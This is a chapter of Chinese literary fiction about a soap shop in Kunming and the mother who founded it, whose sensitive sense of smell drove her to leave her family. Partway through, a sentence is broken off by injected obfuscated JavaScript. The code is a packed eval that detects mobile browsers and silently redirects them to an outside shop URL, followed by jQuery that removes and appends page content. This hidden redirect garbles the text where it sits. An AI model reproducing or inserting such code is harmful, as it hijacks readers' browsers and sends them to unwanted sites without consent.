01 西瓜切开时的味道
自从石房子开展之后，就有很多之前完全没有想到的互动形式产生。除了常规的纸质留言板和电子留言区，石房子有一面大白墙，成了文明版本的到此一游，不少人留言。
有一名署名为李商隐的游客，留下了“要把人民的展览办好。”有人留下字体歪歪斜斜的感叹，“永恒的创造，短暂的生命”。另有人在旁边留言，“读罢泪沾襟”。还有人写“附议”。不过这之中最醒目的还是保安小吴写下的“严禁掰竹笋，已经打药，违者罚款”的告示。
没办法，自从罗望子的活动引入了人流，很多年轻人都喜欢上了石房子周边的这一处环状的小花园，小竹林更是吸引了一众爱掰笋的爷爷奶奶，小吴只得连夜打药。
此刻，二更站在石房子的二楼，望向窗外那棵很大的海芋，它已过一个人高，是从地缝里自己硬长出来的。陆均松在修整花园时执意留下了它，又在它下面栽了几株金黄色的地涌金莲。朵朵硕大的金莲，从开春一直到初冬，一如既往地金光灿烂，不让独个的海芋寂寞。石房子的二楼有几间房间，陆均松安排做了展览工作人员的办公室。其中一间视野很好，刚好能瞧见石房子的入口，被辟为二更、姜籽和老延的专属工作室。既然设立了，二更自然要时不时过来点个卯。
门卫室的一通电话打来，“有人给你送了一块肥皂。哦不是，香皂”，小吴在电话里说。
二更不意外。
十分钟前，她站在窗口向外望，刚好看见一个身材高挑的卷毛年轻人走进小花园。他没有进展馆，在花园里晃悠了一圈。他在一棵又一棵植物前停下，昂起头，什么都不做，似乎是在观察它们的花叶，又似乎在嗅它们的味道。
按陆均松的偏好，石房子里低声放着舒缓的古典乐。男孩进院子时，刚巧响起了柴可夫斯基的乐曲，《胡桃夹子》作品71a：花之圆舞曲。二更从窗框里看着男孩的大长腿在一片青草绿中优雅地迈来迈去，如同在回放她小时候看过的动画片《秘密花园》里的画面。她看得入迷。男孩在花园里走完了一圈，径自走向门卫室，似乎是在询问什么事情，又掏出了一个小包裹留下。之后，这位优雅的青年就离开了。
男孩留下了一块香皂。“挺好闻的”，小吴说，“下面有一个地址，是一家香皂店。”
这是一块粉红色的香皂，重庆产的黄角兰香皂。包装盒是简易的纸盒，上面印着一位卷着古典烫发的女郎，在几十年前，她的形象可谓摩登，如今看来，也依旧美得很复古。肥皂的气味并不香甜，但清雅，是老一辈人面霜的那种清雅。二更记得，姥姥用的香皂就是这种类型。
皂盒里有一张很小的明信片。有人用越来越小的字写道：这是母亲香皂店里最畅销的一款香皂。母亲一生前许多年，都是独自生活。母亲去世后，我们姐弟接手了这家店，决定继续经营下去。欢迎您来看看。
这是二更这几年看过的最好看的字了，柔且有力，骨架均匀，笔画之间无比融洽，像一棵树型极好的河边柳树。署名的人，叫白薇。二更猜测，白薇似乎是明信片中提及“姐弟”中姐姐的名字？而少年，应当是白薇的弟弟吧。一家经营着香皂店的姐弟。怪不得，少年逛花园的方式，是嗅一嗅每一棵树。
二更决议，这个傍晚就去看看。
樱花季过去有段时间了，风干的落花仍有可能在一些台阶边角停留。树上，无论是红叶李、樱桃树，都新坠上了一串又一串果子，青红黑紫，日光既晒出了果子不同的生命历程，也给它们均匀地涂了一层亮油。桃树也开始结果，青桃相间，像羞涩的少女低下的半张脸。最好看的是正当红的果子，晃悠悠的，像点在空中的一颗颗童子痣。
二更起身走出石房子的时刻，傍晚时分，悬在空中的童子痣似乎更美了。晚风，已经有了昆明夏夜的经典气质。
这是二更尤为偏爱的季节。很多人觉得夏季是昆明一年之中最无聊的时间段，山茶花绽放在冬季，水杉一池红色倒映青睐着秋季，樱花、葱花、杜鹃、蓝花楹接力在春天，让随之而来夏季略显平淡。
好在，夏夜有风。不同于秋冬季从早到晚的高原大风，夏夜的风往往从傍晚开始柔柔地吹。它松开人的头发，你会感觉头发会变成水草，绿色的，一丝一丝在干爽的空气中舒展地飘，像跟着水流舞动一般。它又总是整齐的，不像干季的狂风那般任性，吓得人如游鱼四处乱投。它一心一意地缓缓朝着一个方向吹，渡得人如一条长大了的鱼从容游入了熟悉的河流。
她感受到了温柔的水流。盘龙江边，人们撸起小腿的裤管，拿起小篓子、铲子，一边淌着浅水走，一边用头戴式照灯寻觅水中的小鱼小虾。当你站在桥上往江水看，带着头灯的人们像飞舞在林间的萤火虫。即便是哪个人身形健壮，它也不再像人类，而是变得像夜鹭。这样的夜晚，人似乎少了，水光开始让人联想到童年乡间的月光，白得照亮内心。
她感受到了夏季昆明人和雨的一场游戏。从每年6月份，昆明进入雨季，与之而来的不仅有山野中冒出头的鲜菌子，还有介于淘气与懂事之间的雨。说它懂事，因为她让春城长期浸润在水汽之中，但不过分潮湿。一天之中总有几个小时的阴天甚至晴天，方便人们行动。最懂事的时候，雨会下在傍晚、深夜或是凌晨，不耽误人上、下班出行。整体以阵雨居多，很少有连绵阴雨让人难以喘息的情况。于是大多数年份里，昆明人对夏季的雨，有一种亲近的把握和信任。若有一朵云哭了，就等一等，等头顶上这朵哭泣的云慢慢哭完，还有蓝天白云。人们有一种哄孩子的心态，随身带把伞就是了。说它淘气，是因为也有那么几天，雨来得十分着急，前一秒还是多云，下一秒就突然呼呼大雨，这就连累了那些晒在室外的菌子、辣椒、萝卜干。万一收得不及时，就要前功尽弃了。当然，这种游戏，仅限于常规的雨季。若哪一年它罕见地变了脸，哄不回来，也能下足三、四个月的阴雨。
总而言之，平均气温很少超过25、26℃的夏日，是很宜人的。夏夜来临之前，一个人迎着晚霞，走进夜里，走进温柔而清爽的风，去做一件有趣的事，简直是对人生天大的奖励。
何况，风还是有香气的。二更将黄角兰香皂褪去了包装，揣在口袋里，揣手就能摸到。
正中间香皂店，到了。果然，是它。
二更记得这家店，昔日一晃而过，有过深刻印象，只是一直没有走进去过。这名字起得实在特殊，但二更猜测，或许和周边的两家店有关。一家叫柔嘉，是一家社区里的老式副食店，卖些烟酒糖茶。店主老家的春茶、红糖、糕饼时常摆在门口。店门口还有一只小狗，带着它的三个玩够娃娃每天晒太阳。旁边一家也是副食店，叫落羽，店门口常放着几十盆花草，为防止偷盗，还安装了摄像头。四个台阶上的花草时常变换位置，让天竺葵、芦荟、虎刺梅、波士顿蕨和几盆多肉轮流得到均匀的光照。落雨时，它们会被店主一起搬出来到路边，过一过雨水。
这一带的店铺，不少店已经开了十几、二十年，一直安安静静的，店招就是唯一的广告。服务街坊的同时也能养活自己。每家店都有自己的经营之道。一家春城开得很早的老水晶店，没有套路，转盘式挂钩上，几百个手串闪着斑斓夺目的光，在水晶火热的这一两年，价钱还是一如往常。另一家春藤百货店里，时不时往来六十多岁的老人家，买鱼戏莲叶间的门帘，买小痰盂，买老味道的雅霜。店里还有二三十年流行的挂历纸手编门帘。这种门帘是用旧挂历撕成条缠成的，每一个小珠子都是中间鼓两边瘪，像一个小纺锤，几百个纺锤用小铁丝相互够连起来，要说它流行的年代，得往前数个三、四十年了。这家店铺保留了许多这样的物件，不仅是展示，仍在小批量售卖。店主是几位阿姨，每天不慌不忙，按喜欢选货卖货，甚至有时候，会撵一撵自己不太喜欢的客人。
不少店铺都是夫妻档，或是一家老小轮流看护，时常能看到小朋友支个小桌子，在店门口写作业，或者一家人在店门口做饭、吃饭。二更记得，她有次从这里路过，走进一家夫妻小卖部买水。老婆正在质问丈夫，“那条链子是给谁买的？”。丈夫支支吾吾，说不出话来。气氛有点不对，二更本打算退出，但老婆还是神速结了账，丝毫没有耽误生意。那家店的绿萝枝条很长，从收银台开始随着挂钩向上，贴着天花板爬行许久，一直延伸到另一面墙的门口，还在争取往门外探头。这样的老街老店，本身就会给人一种走入黄昏的氛围感。
最近，老店铺们看起来规整了不少。
去年，这片社区空中修筑了一条连接起翠湖与昆明老街的栈道。游客们从翠湖的黄公东街走上栈道，避开脚下车流密集的公路，路过各色云南口味的咖啡店，从空中漫步，直达抗战纪念碑与昆明老街一带。途中，人们能在二、三层楼的高度，在不同季节近距离地看到银杏的果子、悬铃木的果球、香樟的花，蓝花楹如葡萄串般的花束。
现在，走上栈道的二更，细细瞻仰着一棵高大的刺桐树。昆明的鸡冠刺桐很多，灌木或者小乔木，不高，亲人，散步时就可以细细观看。但刺桐花是高大乔木，三、四层楼高，想要一睹艳红的刺桐，通常需要把手机距离调高。有了栈道，刺桐就像一个高傲的骑士终于肯低头来了仰慕他的公主面前。栈道中段，沿着旋转楼梯走下，墙面装饰着粉叶合果芋、矾根、七彩竹芋。再往前，是一棵香樟树，花季已过，仍存留着一些清淡的香气。
走下去，就是正中间香皂店了。
它的位置恰在栈道的“中点”。不只是距离上，也是风格上的。正中间以东，多是社区老店，杂货店、副食店、阿姨经营了十几年的理发店，以西，新开了符合年轻人审美的文创小店、蛋糕店、糯香茶饮店。糯香茶散发着小狗小猫脚丫子的味道，上头的人闻着味就过去了。
入夜时分，香皂店在仍然热闹。门口卖茉莉花的婆婆，吃过晚饭又回来出摊。香气浓郁的小朵茉莉花被串成的项链和手链，青白之间的香气与婆婆头上的多彩刺绣方巾，成了正中间香皂店的天然招牌。时不时就有游客被吸引，走入店铺。
“我其实希望店里安静一点”，白薇说。写明信片的女孩，出来迎接二更。她看起来二十四、五岁，垂直长发齐肩，圆脸，杏仁眼，身上系了一只墨绿色的工作围裙。
不久之前，一档旅行类的综艺节目中，一位男演员展示了自己的旅行三件套--一块看起来有点可怜的小香皂，不足拳头大。还有一位女喜剧演员出身的女演员，也在综艺节目中分享自己的护肤心得，说自己卸戏曲妆从来只用香皂。从去年年底，正中间香皂店就开始被这两波风潮轮流带热了，每天客流量蹭蹭往上涨，来到还都是年轻人。
白薇指了指店里最深处的一间工作室，男孩背着身在做一款手工皂，隔着一段妥善的距离，工作室周围围了一圈女孩子，眼里似都冒着金花。大家在轮流传递着一个柠檬黄颜色的便签本，每个人都撕下来一张，在本子上写些什么。
这便是今天去送香皂的男孩子，白岑。
“他不喜欢说话，人多了，更不喜欢。所以工作室旁边放了一打便签纸，客人们把定制的需求写在纸上，他如果有沟通需求，也大多拜托我再去确认。”白薇解释道，“尽量不让彼此开口说话。所以呢，坊间传说，小哥哥好看，可惜是个哑巴。”
“他不介意？”二更问。
“不介意。他嘛，首先，有些社恐，其次呢，他对气味很敏感，有时候会碰到口气不太好或是身上香水味太冲的客人，自己为难，又怕冒犯到别人。现在好多客人都是年轻女孩，你也知道，现在好多女孩子节食，肠胃不好，口气挺重的。”白薇叹了一口气，“其实，女孩子身材健康就是好看的，对吧？现在呢，我们处在一个有些尴尬的位置了，来的女孩子越来越多，哑巴小哥哥的事，我倒也不好意思戳破了。好在，他应该不会露馅。”
白薇提议，先带二更在店铺转转。两人在一楼的商品柜之间，行云流水般地穿行。货架柜台码得很整齐，每一款香皂都不同，打眼一看，有种和百货店相似的五颜六色的复古繁华感。店里的香气，浅浅的，有意无意地浮动着，你想靠近，它又躲开。不似任何一家商场的香气，明晃晃地让你嗅。有香气的香皂都被收纳好了，包上了老式的外包纸，互不打扰，人走近了，刻意靠近，才能嗅到它们各自的气息。
二更产生了两个奇妙的感受。香皂的包装，让她想起小时候收藏过的闪亮的糖纸，以及抚平那些糖纸时珍视一种小巧事物的感受，她顺带着回想起许多自己小时候喜欢的、珍视过的许多如今不值一提的小物件，比如，某个透明色的玻璃球？此外，尽管一楼展柜数量不少，人走在其间，却似乎能自动识别出一条活泼的动线，人会变成一条鱼，自由自在地行动，如同走入了晚风。
“去年人流量多了，我们凑着年底隔壁栈道施工，短暂地闭店，重新设计了店面。我弟找了一群小学生来玩，在店里丢了几个超市购物物车，让它们随便移动货柜和购物车。他以购物车停留位置的底本，设计了展柜的摆放位置。”白薇介绍道。“效果还不错，对吧？现在，一楼主要是一些经典香皂的展示，以及我弟的工作室，二楼有手工皂体验区，还有线香塔香、香薰蜡烛、香囊的制作区域，要不要去看看？”
二更跟着白薇往最里处的楼梯走，上了二楼。白薇将二更安置在一处能看到香樟树的窗前，又端来两杯番石榴茶，一杯递给二更，一杯留给自己。“我弟喜欢这个味道。他对味道，和我妈一样敏感。你试试看，喜不喜欢。”
是芭乐闻起来的味道，二更啜饮一口，不是芭乐吃下去的味道。她拿着杯子细看，茶包里是番石榴的枝与叶制成的细小碎片。
去送信物，是姐弟俩一时冲动的决定。她们觉得，自己的母亲也值得被看到。尤其是白薇，她年少时对母亲一度不理解、误解，甚至产生过少女时期天真的仇怨。毕竟，朱槿“抛弃”两姐弟时，她们还很年幼。她是个狠心的母亲，这一点，找不了任何借口。但成年后，作为一个女性，她又开始缓慢地，理解了母亲。在此后母亲的漫长和解与相处中，白薇拼凑出了朱瑾的故事。
--
那年，她才两岁。
朱瑾离开家时，是决绝然的，也并不光彩。她像一个狼狈的兵，落荒而逃。那时她的状态很差，被混乱的气味彻底击垮了。
朱瑾是一个对气味很敏感的人。像一个动物，她对这个世界有非常有明确的边界感。所谓边界，并不是因为好与坏或者关系的亲疏而定的，是依靠气味。
她可以闻到远距离的不同气味，能闻到人类身上不同的气味。这不只是男性的油脂分泌与代谢比较快产生的味道，或是谁不小心放了几个屁、一晚上没刷牙的味道，她觉得，人本身就有不同的气味，身体发肤的天然气味、身体与精神健康情况所反映出的气味，叠加在一起，每个人都有复杂的气味。
在没有生育之前，朱瑾敏锐的嗅觉像是乱糟糟的幼儿园，虽然吵闹，但她勉强可以忍受，无非是活得不快乐罢了。毕竟，她认为人类世界就是需要幼儿园，对吧？她一直如此说服自己，刻意地不去注意。她会用香皂的味道来安抚自己。
朱瑾还是个年轻女孩的时候，街上流行一些国产香水，玫瑰味，绿茶味，薰衣草味。过得好的人已经能出国旅游，还会特意带回来一些法国香水送给她。她试过，都不喜欢，绕来绕去，还是用回了最简单的香皂，桂花香气的，栀子花香气的，柠檬香气的。香皂洗完之后很干净，让人联想到一些洁净又单纯的感受，比如被子很暖和、篝火在燃烧，鹅毛大雪下在保暖密封做得很好的窗外。
打破这种平衡的，是生育。大崩溃发生在朱瑾生完孩子之后。
很多女性在怀孕时，五感的敏感度会突然放大。女性在怀孕后，身体各项机能会因雌激素的变化而产生变化。一些孕妇的鼻子比动物还灵敏，比如，隔着几百米就能闻到刺鼻的烟味，比如邻，居在隔了挺远的厨房做饭时，她能闻到厨房里用的事花生油还是调和油。客观而言，这种突发的敏感对胎儿具有一定的保护作用。
朱瑾在怀孕时，嗅觉反而没有那么敏感，相反，一度退化。这让她放松了警惕，一度乐观地以为，自己的人生开始走向正常人的嗅觉正规。何况，她怀的是一对让人无比欣羡的龙凤胎。她甚至乐观地判定，这是人生给她的某种补偿。可惜，事与愿违。自从顺产后，一股无比浓重的血腥味冲破了她的嗅觉系统，一时间，所有味道都被放大了1000多倍，报复性地向她袭来，像是在讨要孕期被回避掉的关注度。
这场突袭远远超过了她生理与心理能够承受的程度。自从生育后，她虚弱的身体不仅要完成一日多次的母乳与时刻照看孩子的任务，还因嗅觉的残酷突袭，承受了巨大压力。她在极大的焦虑情绪下，产生了严重的躯体反应。她每晚失眠，即便入睡，也时常被噩梦惊醒。她时常梦见旁边睡着的丈夫、孩子突然变成了腐尸，她在梦中似乎也能感受到嗅觉上的强烈刺激，醒来后，心理上恐惧在暗夜汹涌而来。而她必须克制，不让这种恐惧影响到身边的一双孩子。
就像是每天超过双耳承受能力的尖叫声在耳边狂浪般翻涌，由嗅觉产生的生理上、心理上的痛楚，与生而为母的责任相互拉扯。她每日都在煎熬。但没有一个人理解她。她试过倾诉，但无论是对丈夫、婆婆还是妈妈，她收到的回应，首先是不解，接下来必然是指责，“谁不是这样过来的呢？”“就你娇气！”“你在说什么鬼话，我一句都听不懂！”“你是不是精神有问题？谁家儿媳像你这样？”“累了吧，休息一会儿就好了”。
起初，朱瑾的方式是忍耐，一忍再忍，忍耐产后恶露、漏尿的味道，忍受孩子身上的奶香味--这样说，更让她痛苦，这是很多母亲深爱的味道啊！忍受医院里消毒水的味道，忍受给孩子换尿布的味道，忍受自己身上因为健康状态持续不佳所散发出的腐败气息。二、三十多年前，人们对心理健康的关注尚不深入，对心理问题的正确认知尚未普及。朱瑾只能用反复的自我否定来“安抚”自己，让自己变得“正常”，这又极度加剧了她的痛苦与焦虑。人生，陷入一个无解的闭环，她不断地陷入深渊，每一天，都比往日更深一寸，始
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17294815|198549||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
终拔不出来。
这对让人羡慕的龙凤胎长到两岁时，她的自我质疑与忍耐临近了极点，身体早已不堪重负。她甚至一度嗅到了自己的“死气”。不能再如此继续下去了。
她做了大逆不道的选择：离开家庭。一个寻常的夜里，她收拾了简单的行囊，离家出走。
她走得很安静，但这件事一下子炸开了锅。流言蜚语不断。有人说，想不明白，只有生完孩子男人发现不是自己的种，离婚弃子而去的，女人为什么要走？更何况，婆家家境还不错。有人猜是夫妻吵架或者婆媳失和，没准过一段时间就回来了。
女人的确回来了，但那是在三年之后。婆家不接，娘家不接，丈夫已宣告和她事实离婚。
又一时，流言蜚语不断。与人说，她当年跟着跑的男人不要她了，半路被抛弃，有人说，着女人就是离不了男人，于是又回来找了。
再难听，女人也不在意。
她在家附近的地方租个了院子，做起小生意，卖香皂、香水、沐浴露、洗发露。样子时髦，香气多样，香气带着她闯出了流言蜚语。渐渐地，小店成了周边最叫得上的洗化店。赚到的钱，一半经营店面，养活自己，一半都交给了一双孩子的奶奶，用给孩子的吃穿用度。说来也是造化弄人，这双孩子的父亲在朱瑾回来后一年，就因车祸去世了。孩子的成长除了靠奶奶家的积蓄，就是靠妈妈的店增补了。
在孩子奶奶的心理，前儿媳、孩子的妈，好歹算是回来了。儿子离世，虽有两个女儿，但都已外嫁，一个在广东，一个更远，去了北方。她不得不和归来的儿媳相依为命。好在，这儿媳虽然怪了点，也不和孩子一起住，但赚得钱除了打点店面，都放回了这个又以奇怪的姓氏粘起来的家。
一连数年，孩子的奶奶渐渐开始重新接受了这个儿媳。接受她“鼻子有点毛病”，接受她“身体不太好”，接受她“她喜欢安静”。奶奶的口风，渐渐变了。最后，奶奶和白岑的口径统一了，“你妈妈这个人，有点特别，就是特别好静，闻不得太多的味道”。停在这个说法上，奶奶不再动摇了。
“我还是很别扭的，一个没妈的孩子，小时候受过多少流言蜚语，她即便回来了，我也很难不恨”。白薇坦诚地回忆道，“我被迫理解了我妈，和我奶一样，我们都是因为我弟。
有一天，我弟和我说，那个同学闻起来像个不新鲜的茄子，还有个同学闻起来像桉树，还有那个谁，闻起来是西瓜切开时候的味道，挺好闻的。
我把这件事当个笑话，讲给了奶奶听。我奶奶说，他在说谎吧？我立马站起来，斩钉截铁地说，我弟弟从来不会撒谎。他从小和我一起长大，从来没有对我撒过一次谎。他一定是闻到了！我永远忘不了奶奶看着弟弟的表情，彷佛天破了一个洞。”
奶奶在那天，开始懂了，为什么自从白岑从上幼儿园开始就经常睡不好。那时，孩子小，说不出个所以然。直到上了小学，按大人的说法，‘开始渐渐懂了事’，他才会开始和她说，闻到不好的味道，会睡不着。随着白岑渐渐长大，可以理解更多人事，并且用简单的语言表达出他的感受尤其是嗅觉，白岑身上追随朱瑾所展现出的嗅觉敏锐度与其他的人生触感，被奶奶和白薇逐渐发觉了。
“我嗅觉一般，但直觉还不错。我渐渐发觉，这个家里四个人，弟弟和奶奶都开始理解我妈了。弟弟是天生就理解，奶奶，是因为弟弟的反应，先是产生了恐惧的联想，之后无可奈何之间，接受了一个事实：一个嗅觉敏锐的母亲生出来的儿子，很遗憾，和她很像。
看到奶奶那种天破了一个洞的复杂表情后，第二天，我去了我妈的家，也是她的店。那是我第一次主动去找她。店不大，就是我们小时候开在街边的那种普通的小卖部的样子。快走进去时，就能闻到香皂的味道。这家店像是被一个香泡泡裹起来了一样。香气，有桂花香、茶香、薰衣草香、薄荷香、苹果香、柠檬香、松柏香，基本上都是植物的味道。
我弟弟，早就常来这里了，他可以在这里呆很久，说这里的味道干净，他喜欢，觉得浑身上下都很舒服。可我闻不到。我当然气馁。然而，我从气馁之中，我对母亲和弟弟开始尝试去理解。”
从白岑、白薇七岁开始，一家四口就一起吃饭了。之前，一日三餐也都是朱瑾买好了送过来，只是那时碍于和女儿、奶奶的关系尴尬，她只送饭，不留人。她开着一家有香气的店，平时就睡在店里。她不再畏惧别人说什么，店名，后来改了，就叫正中间，不怕显眼，一个因为嗅觉害怕这个世界的人，也可以站在香气的正中间，面对这个世界。她的钱没少给孩子。白薇、白岑小时候用的东西总是最新鲜的，最流行的铅笔盒、最好看的笔、最新奇的涂改液和转动笔。物质上从未亏待，陪伴也是没少的，接送孩子，送饭做饭，包括去家长会。她只是不在家里长住，睡觉时回自己的店铺。除此之外，她与一位尽职的母亲倒也无大差别。
在那之后，白薇对母亲的感受，总是带香气的。
她的头发乌黑，一直用侧柏叶的肥皂洗头，有一种中性的木质香气。她喜欢吃云南的茴饼，喜欢小茴香做饭的独特香气。她喝水也喜欢有点味道，菊花、陈皮、玫瑰，很多做饭的香料会变成代茶，比如肉桂、木姜子、折耳根、还有番石榴茶泡水。她甚至会自己做木姜子香薰、番石榴香薰，不是所有人都能受得了，她只自己用。她出门总是喜欢带小桔子，剥开，不吃，大多数时候，剥开了都是分给别人吃。这样可以迅速地把周边的味道变成小桔子的清新味道，橘子皮收好，一路带着。朱瑾老了，也是个腿脚很好的人。走在路上，如果遇到什么不好的味道，比如烟味或者浓重的异味，她的脚步就会突然加快，急速往前走，看起来彷佛有了什么急事。
正中间小店，从起初一个小门面，扩建呈了一个小院。起初，院子里总是晾着橘子皮，店里的橘子皮香皂一直卖得不错。这几年，她和翠湖周边所有卖橙汁的店关系都很好。回收来的橙子皮也晾在院子里，她会做出自己很喜欢的香薰。后来，一款她自己做的橙皮车载香薰，在店里卖得很好。
白薇上大学的时候，带了朱瑾送的自制香皂，全寝室都在用。后来毕业多年，室友还会问她要。其实这些自制香皂的味道超市里也能买得到。但朱槿做得留香更久，味道也更淡雅。一米之外，闻不到，靠近了，或者一直放在洗手间，就会时常闻到。用它们洗过手之后，看书、打字时，自己会闻到，但别人在社交距离外都闻不到。
这香气彷佛有自己的性格，一种特别恰当的内秀，和香水不太一样。香水，是人是狗都闻得到，是远或近都能闻得到。喷多了，人走进电梯，整个电梯里的人都不得不闻。当然，这样也很好，存在感很强，适合很想要张扬一下的时刻。但朱瑾做的香皂，带着一种有区分意识的香气，让人可以筛选，谁可以走近你。
“我和我男朋友就是这样认识的。当时我在图书馆借书，他的一本书掉下来，我帮忙捡起来，手上的香气自然地被他闻到。他问我，这是什么香气，很好闻。我们就这样认识了。后来我们闹掰了，我很坚信，他这辈子可以闻到千万种香气，但绝对，不会，再有和我类似的香气了。这是他犯错的代价。
所以，他死皮赖脸地找回来了。
我的嗅觉没有我弟和我妈那样敏锐，但直觉或许还不错。一旦慢慢开始理解我妈，我就能感受到她和我弟弟身上自带的那种纯净。她们这样的人，鼻子里不带什么杂质，所以才能极度敏感。但水至清而无鱼，太纯净了，向外看去，才会产生不适、害怕、忍受、排斥等等很多感受，包括痛苦和崩溃。
从家庭的角度看，一个母亲抛弃了孩子、婚姻，她确实没有做好。但从她的角度来看，努力过了，但依旧要离开她实在无法承受的生活，大概，也无可厚非吧。
我初中时，喜欢听孙燕姿的歌。有一首歌叫做《逃亡》，我想象歌里的画面，一个女人开着车，一直开一直开，到世界的边缘。然后她走下车，面向那个逃离的世界，松了口气，张开双臂，好好拥抱了自己一下。
现在，我想象离开小时候的我们的那个母亲，大概就是这个形象。我试着去感受她那时候的冲动、痛苦、恐惧、无可奈何。我想，她一定经历过彻底的孤独与艰难的抉择。我也能感受她在回来之后，拼命给我们补偿的那颗心。我的心结，渐渐打开了。
我妈去世之后，我和弟弟去收拾她的房间。没有一个腐烂的东西，全部都在保质期内。衣柜里、衣服上，任何东西上，都没有任何不好的味道。
她挺厉害的，是吧？而我只是在成长中，慢慢地追上了她曾经的痛苦，尝试理解她，并接受了她的各种补偿。我们算是，扯平了。”
--
嗅觉是动物的本能。对于嗅觉敏感的人来说，不喜欢的味道，对生命有入侵性。朱瑾让自己从一个被入侵者，变成一个能够主动去做选择的人。与其压抑自己的本性，泯灭自己的需求，不如试一试以另一种方式，活出自己的一生。对于并不顺畅的命运，对于不同于常人的本能，朱瑾勇敢地做出了她的回应。二更心生敬意。